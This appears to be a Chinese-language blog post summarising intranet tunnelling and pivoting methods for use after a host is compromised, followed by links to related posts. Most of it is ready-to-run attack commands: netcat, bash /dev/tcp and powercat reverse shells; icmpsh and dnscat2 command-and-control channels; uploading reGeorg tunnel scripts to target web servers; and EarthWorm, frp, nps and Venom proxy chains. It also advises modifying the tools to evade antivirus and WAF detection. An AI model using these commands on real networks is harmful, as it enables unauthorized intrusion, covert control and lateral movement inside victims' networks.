文章目录

  • 0x00 内网穿透技术
  • 0x01 首先判断出网协议
  • 0x02 各种协议隧道
  • 网络层
    • ICMP隧道
    • Lcx
  • 传输层
    • 瑞士军刀:nc
    • Powercat(powershell版的nc)
    • 推荐:netsh端口转发(window平台)
  • 应用层
    • SSH转发:
    • SSH 本地转发机制:
    • SSH 远程转发机制:
    • SSH 动态转发机制:
    • HTTP HTTPS协议隧道
    • DNS 隧道:
    • Socks代理:
    • 推荐使用
    • Nps
    • ew
    • Frp
    • Venom
  • 0x03 总结

0x00 内网穿透技术

当我们拿到一台内网主机后,一般都是有区域隔离的。

所以内网隧道技术,就是我们必须要掌握的。

我简单介绍一下建立通信隧道,常见的有端口转发等

主要隧道有:

ICMP TCP UDP

SSH HTTP DNS

SOCKS

0x01 首先判断出网协议

icmp协议:

ping 命令
ping www.baidu.com

TCP协议:

curl www.baidu.com
nc IP

HTTP协议:

curl ip:port
curl www.baidu.com:80

DNS协议:

Nslookup www.baidu.com
Dig www.baidu.com

0x02 各种协议隧道

网络层

ICMP隧道

ICMP(Internet Control Message Protocol):没有目的端口与源端口,属于Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。

icmp隧道常用攻击:icmpsh、PRISM

icmpsh
环境说明:跨平台、不需要管理员运行

有三台机器: VPS–边界机–内网机

VPS操作过程:

下载icmpsh

安装依赖

服务端禁用:
icmp respones  sysctl -w net.ipv4.icmp_echo_ignore_all=1运行程序 :
./run.sh输入目标主机IP地址 开启监听:
./icmpsh_m,py  vpsip 边界出网的公网IP在边界机执行:
Imp.exe -t 攻击机ip -d 500 -b 30 -s 128

还有一种方法

编译 gcc icmpsh-m.cVPS开启监听: sudo ./a.out内网边界主机:icmpsh.exe -t VPSip -d 500 -b 30 -s 128

Lcx

内网端口转发

老工具了也是

目标主机:lcx.exe -slave vpsip 4444 127.0.0.1 3389VPS:Lcx --listen 4444 5555

传输层

瑞士军刀:nc

nc 是一款比较老的工具,但是确实是经典俗称瑞士军刀,简单介绍一下

简单互相传输功能:

vps:nc -lp 5555 目标机器:Nc -vn vpsip 5555

文件传输功能:

vps:nc -lp 5555 >1.txt目标机器:Nc -vn vpsip < xx.txt

shell的反弹:

正向连接:nc -lvp 4444 -e /bin/shnc  192.168.1.1 4444反向连接:nc -lvp 4444nc 192.168.1.1 4444 -e /bin/sh

注意:windows版本CMD位置

C:\windows\system32\cmd.exe

Bash反向shell

nc -lvp 4444Bash -i >& /dev/tcp/192.168.1.1/4444 0>&1

Powercat(powershell版的nc)

正向和反向连接:powercat -l -p 8080 -e cmd.exe  -v
nc 192.168.1.1 8080 -vvnc -l -p 8080 -vv
powercat -c 192.169.1.1 -p 8080 -e cmd.exe -v

可以反弹powershell

-eq

文件上传

这个不用说,基本这种连接的都支持

c:下新建一个test.txt的文件,写入数据

在有text.txt的机器执行:

powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v

另一台机器执行

powercat -l -p 9999 -of c:test.txt -v

推荐:netsh端口转发(window平台)

netsh仅支持TCP协议, 适用于双网卡服务器

查看系统防火墙状态
netsh firewall show state   查看现有规则
netsh interface portproxy show all   添加转发规则
listenaddress – 等待连接的本地IP地址
listenport – 本地侦听TCP端口
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)netsh interface portproxy set v4tov4 listenaddress=边界机 listenport=6666 connectaddress=内网IP connectport=3389#连接边界机6666端口,就是连接到内网目标上面的3389使用netstat确保6666端口当前处于被侦听状态:
netstat -ano删除转发规则
netsh interface portproxy delete v4tov4 listenport=6666

应用层

SSH转发:

一个正常的SSH命令

 ssh root@192.168.1.1

SSH 本地转发机制:

拓扑:

VPS----边界WEB----目标主机

边界WEB双网卡192.168.1.1和10.1.1.1段

本地转发机制:

选项:

-C 压缩传输
-f 后台启用
-N 不打开远程shell,处于等待状态
-g 允许本地转发端口

使用方法:

在VPS上运行

ssh -CfNg -L <vps port>:<目标主机 host>:<目标主机 port> <SSH 边界机>ssh  -CfNg -l 5555:10.1.1.1:3389 root@192.168.1.1
#VPS检查---查看端口是否已经连接
netstat -tulnp | grep "5555"

当访问 VPS 5555 端口的时候,就转发给 root@192.168.1.1 边界机 ,发送给目标主机

SSH 远程转发机制:

拓扑:

VPS----边界WEB----目标主机

边界WEB----目标主机—都是单网卡,都是纯内网 10.1.1.1段

在WEB边界机运行

ssh -CfNg -R <vps port>:<目标主机 host>:<目标主机 port> <SSH VPS主机>ssh  -CfNg -l 6666:10.1.1.1:3389 root@49.121.1.102

边界机把内网的端口,远程连接道VPS,远程转发道VPS

SSH 动态转发机制:

这里主要是建立一个动态的socks代理隧道

在VPS上运行

ssh -CfNg -D 7000 <SSH 边界主机>
ssh -CfNg -D 7000 root@192.168.1.1

VPS上7000端口上,开了一个socks代理,用代理软件就可以连接

HTTP HTTPS协议隧道

  1. reGeorg:

将对应的脚本文件上传到目标服务器,根据不同的网站类型php jsp asp等,上传对应的脚本 reGeorg.php

攻击机(VPS)运行:

python reGeorgSocksProxy.py -l 46.46.46.46(VPS的IP) -p 666(VPS端口) -u http://(目标服务器IP)/reGeorg.php

然后在本地通过代理工具链接本地的666,就是链接好隧道了

注意:这个查杀比较严重,建议会免杀的修改修改。

非常遗憾的是,目前大部分WAF都会针对默认原装版本的reGeorg 。(可以自己修改后使用)

2.Neo-reGeorg

这里推荐用 Neo-reGeorg 这个也不错,是重构reGeorg 的一个作品

https://github.com/L-codes/Neo-reGeorg

用法类似:

VPS上支持生成的服务端,默认 GET 请求响应指定的页面内容 (如伪装的404页面)

$ python neoreg.py generate -k <you_password> --file 404.html

将相应的隧道文件放到目标服务器的web目录后使用neoreg连接web服务器并建立本地socks代理。

VPS上运行

$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080(本地代理地址)

Socks连接工具连接本地127.0.0.1:1080

DNS 隧道:

dnscat2

工具dnscat2,这是一DNS隧道,该工具旨在通过DNS协议创建加密的命令和控制(C&C)通道,还有自己的控制台

dnscat2分为两个部分:客户端和服务器。

服务端为Ruby编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:

服务端VPS:

安装依赖:
apt install gem
apt install ruby-dev
apt install libpq-dev
apt install ruby-bundler下载并安装:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler开启服务:
ruby ./dnscat2.rb vpn.zeo.com -e open

目标主机客户端:

上传dnsClient.zip 到目标主机 解压

./dnscat --dns server=服务端ip,port=53 --secret=服务端生成的秘钥

直连模式使用方法:

VPS中 server路径下:
ruby ./dnscat2客户端:(这个命令会在 上面服务启动后提示,可以参考下面的截图红框)
./dnscat --dns server=x.x.x.x,port=53 --secret=281fc7a7ec57d500d269c96b8ae36ba5

常用命令:
window -i 1 进入交互
exec -c "ping baidu.com" 执行命令, 无回显
shell 返回一个半交互shell,会有一个id,记录此id
ctrl+Z 返回

Socks代理:

下面基本上都是可以支持多种协议,之介绍scoks的情况,大家可以自己查看使用方法

也推荐使用这些工具

nps: https://github.com/ehang-io/nps

**ew:**https://github.com/idlefire/ew

frp: https://github.com/fatedier/frp

推荐使用

Nps

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。

(https://github.com/ehang-io/nps)

优点:

  • 协议支持全面,兼容几乎所有常用协议,例如tcp、udp、http(s)、socks5、p2p、http代理…
  • 全平台兼容(linux、windows、macos、群辉等),支持一键安装为系统服务
  • 操作简单,只需简单的配置即可在web ui上完成其余操作
  • 展示信息全面,流量、系统信息、即时带宽、客户端版本等
  • 扩展功能强大,该有的都有了(缓存、压缩、加密、流量限制、带宽限制、端口复用等等)

环境说明:

kali边界机: 192.168.5.123 192.168.3.2
kali2: 192.168.5.128 攻击者vps机器
win7:192.168.3.99 内网机器

1 启动服务端

vim ./conf/nps.conf
cd ..
./nps. #启动服务

在服务端配置conf/nps.conf文件,修改用户名密码,端口号后启动服务,最好不要和已有的端口冲突

默认端口
nps默认配置文件使用了80,443,8080,8024端口80与443端口为域名解析模式默认端口8080为web管理访问端口8024为网桥端口,用于客户端与服务器通信以上都可以在服务端配置conf/nps.conf 自行修改

直接访问自己设计的web端口 http://IP:8081/login/index

友好的操作界面!

2 新增一个客户端,在配置中填写socks代理的密码

3 记住唯一验证密钥和ID,连接使用

4 客户端连接,上传npc到边界机

npc.exe -server=服务端ip:8024 -vkey=生成的vkey -type=tcp

成功上线,点击隧道配置代理

新建隧道,协议很全


这个界面十分友好,就不继续介绍,基本看一眼就会用了。

ew

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,可以用于多层的内网穿透

多层内网穿透可以去GitHub查找

VPS开启监听:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024边界机执行:
ew_for_Win.exe -s rssocks -d 攻击Ip -e 1024

多层内网二层网络,A无外网 IP–vps 流量转发 +B 正向代理 +A作为跳板端口绑定

VPS–边界机(可以出网)–内网机(目标网络内部主机,无法访问公网)

VPS:
./ew -s lcx_listen -l 1080 -e 8888
边界机器:
ew -s lcx_slave -d VPS_IP -e 666 -f 内网主机 -g 9999
内网:
ew -s sscoksd -l 9999

VPS将1080的代理请求转发到8888

在边界机上,通过工具的 lcx_slave 方式,打通VPS:8888 和 内网机:9999 之间的通讯隧道

在内网主机上利用 ssocksd 方式启动 9999 代理

我们是可通过访问VPS:1080 来使用内网主机提供的 socks5 代理

Frp

  • frp 是一个可用于内网穿透的高性能的反向代理应用
  • 支持 tcp, udp 协议,为 http 和 https

frpsfrps.ini 放到具有公网 IP 的机器上。

frpcfrpc.ini 放到处于内网环境的机器上。

首先在vps上启动frp服务端,开启一个端口,默认是7000:

 ./frps -c frps.ini

再配置frp的客户端:

  1. 修改 frpc.ini 文件,假设 frps 所在服务器的公网 IP 为 x.x.x.x:
[common]
server_addr = x.x.x.x
server_port = 7000[socks5]
type = tcp
remote_port = 8881
plugin = socks5
plugin_user = root
plugin_passwd = root
use_encryption = true
use_compression = true

注意:上面的配置了用户名密码 root root 代理的时候注意要加上

最后两个配置是
use_encryption = true \\启用加密
use_compression = true  \\启用压缩

启动 frpc:

frpc.exe -c ./frpc.ini

最后,使用代理软件连接服务端的8881建立连接

Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具

admin节点和agent节点均可监听连接也可发起连接,可以互相的连接。

admin监听端口,agent发起连接:

./admin_linux_x64 -lport 8838agent.exe -rhost VPS_IP -rport 8838

连接成功后出现交互界面 admin node help一下看到功能

  help                                     Help information.exit                                     Exit.show                                     Display network topology.getdes                                   View description of the target node.setdes     [info]                        Add a description to the target node.goto       [id]                          Select id as the target node.listen     [lport]                       Listen on a port on the target node.connect    [rhost] [rport]               Connect to a new node through the target node.sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.shell                                    Start an interactive shell on the target node.upload     [local_file]  [remote_file]   Upload files to the target node.download   [remote_file]  [local_file]   Download files from the target node.socks      [lport]                       Start a socks5 server.lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.
先show 看下拓扑
goto 1  #选择目标1
socks 8886  #在vps上 8886端口上开启代理

有意思的是这个还能出一个shell,也挺方便

0x03 总结

内网穿透的东西还是比较重要的,内网断网机常常都得用隧道,所以小结一下,选择的时候最好要有较好的稳定性,支持多种协议,流量可加密,推荐使用最后推荐的几种工具,如果只是端口转发推荐netsh和SSH转发较为稳定。

内网安全学习从入门到入狱-知识-内网隧道技术小结相关推荐

  1. 内网安全学习从入门到入狱-知识-内网信息探测与收集

    内网安全学习从入门到入狱-知识-内网信息收集 内网信息收集-工作组和域内基本信息收集 内网安全学习从入门到入狱-知识-内网信息收集 0x01本机检查--先看看我是谁 查询并开启远程连接服务 0x02域 ...

  2. 内网安全学习从入门到入狱-知识-内网基础知识

    内网安全学习从入门到入狱-知识-内网基础知识 文章目录 内网安全学习从入门到入狱-知识-内网基础知识 内网渗透基础 基本的名词介绍 工作组 域 活动目录(AD) DC 域控制器(DC) DNS域名服务 ...

  3. mysql记录和字段_科学网—MySQL学习笔记:计算同一条记录内各字段之和,并判断是否归一 - 丁祥欢的博文...

    ★计算同一记录中不同字段之和 背景说明:MainDB表内有几十个字段用于存放配方数据,需要将它们加起来看看是否归一. 由于MySQL没有类似高版本Access那样的计算字段,因为需要用SQL语法来处理 ...

  4. 【慕课网】人工智能-语音入门|公开课知识整理

    人工智能-语音入门 该博客是慕课网视频教程的笔者自我小结,原视频传送门 References: 语音增强理论与实践-[美]罗艾洲等 [译]高毅等 WAV和PCM的关系和区别 AudioSet数据集 知 ...

  5. python视频教程推荐it教程网_Python视频教程之入门基础篇_IT教程网

    资源名称:Python视频教程之入门基础篇 资源目录: [IT教程网]320b96cae58124db5fb6e7c5df99aefc [IT教程网]699434136852f34ec720f2a34 ...

  6. python(十四)--Django学习快速入门

    Django学习快速入门 1. 预备知识 1.1 什么是http协议 1.2 MVC模式和MTV模式 1.2.1 MVC 模式 1.2.2 MTV 模式 2. Django框架介绍 2.1 什么是框架 ...

  7. 【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  8. 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一:CS反向连接上线 - 拿下Win2008 一. 使用转发代理上线创建监听器 二. 上传后 ...

  9. Kali学习之从入门到入狱(三)

    Kali学习之从入门到入狱 冒个泡 开篇 1 Linux 常见目录 2 Linux基础命令 2.0 环境变量 2.1 apt-get 安装 2.2 ls ll 和 alias 2.3 花式grep 2 ...

最新文章

  1. 今晚直播 | 一次性掌握机器学习基础知识脉络
  2. python 对象销毁_python对象销毁实例(垃圾回收)
  3. Python赋值、打包和解包,90%人不清楚的知识点!
  4. 年轻——塞缪尔.厄尔曼
  5. Linux sudo找不到命令:修改sudo的PATH路径
  6. CodeForces:372(div1)div373(div2)
  7. 关于json格式字符串解析并用mybatis存入数据库
  8. java多线程之生产者和消费者问题
  9. 自动查询成绩的小玩意
  10. 只有ajax会跨域吗_为什么跨域Ajax是安全问题?
  11. R语言绘制双坐标图直方图与折线的结合
  12. Phpstudy简介与使用教程
  13. 算法交易的机遇和挑战
  14. css中的盒模型box-sizing
  15. oracle无效数字紧接着起line,shape数据类型【DOC精选】.doc
  16. Mac OS X任务管理器
  17. android P adb shell dumpsys battery 使用
  18. HTTPS中CA证书的签发及使用过程
  19. mac DBeaver连接mysql 驱动失败问题
  20. 如何在Mac上重置Apple ID密码?

热门文章

  1. MATLAB Appdesigner实用技巧(一):在App的坐标区显示自己建模的三维模型
  2. 半个月爆肝,Python学习指南:学习方法、路径图、资料都备齐了!
  3. 森海塞尔PXC 250主动降噪耳机静静地在努力!
  4. ENSP华为路由器出口NAT实验
  5. 阿联酋研发新冠病毒快速激光检测技术
  6. android build.prop
  7. laravel-excel maatwebsite excel 导入的中文文档
  8. JS编程输出我国古代数学家张丘建在《张丘建算经》一书中提出了“百只鸡问题”。这个问题大概的意思是这样子的:公鸡5文钱1只,母鸡3文钱1只,小鸡3只1文钱,如果用100文钱买100只鸡,那么公鸡、母鸡和
  9. 深度学习--性别识别
  10. 我们计划招收200位机械工程师,免费学习机械制图及自动化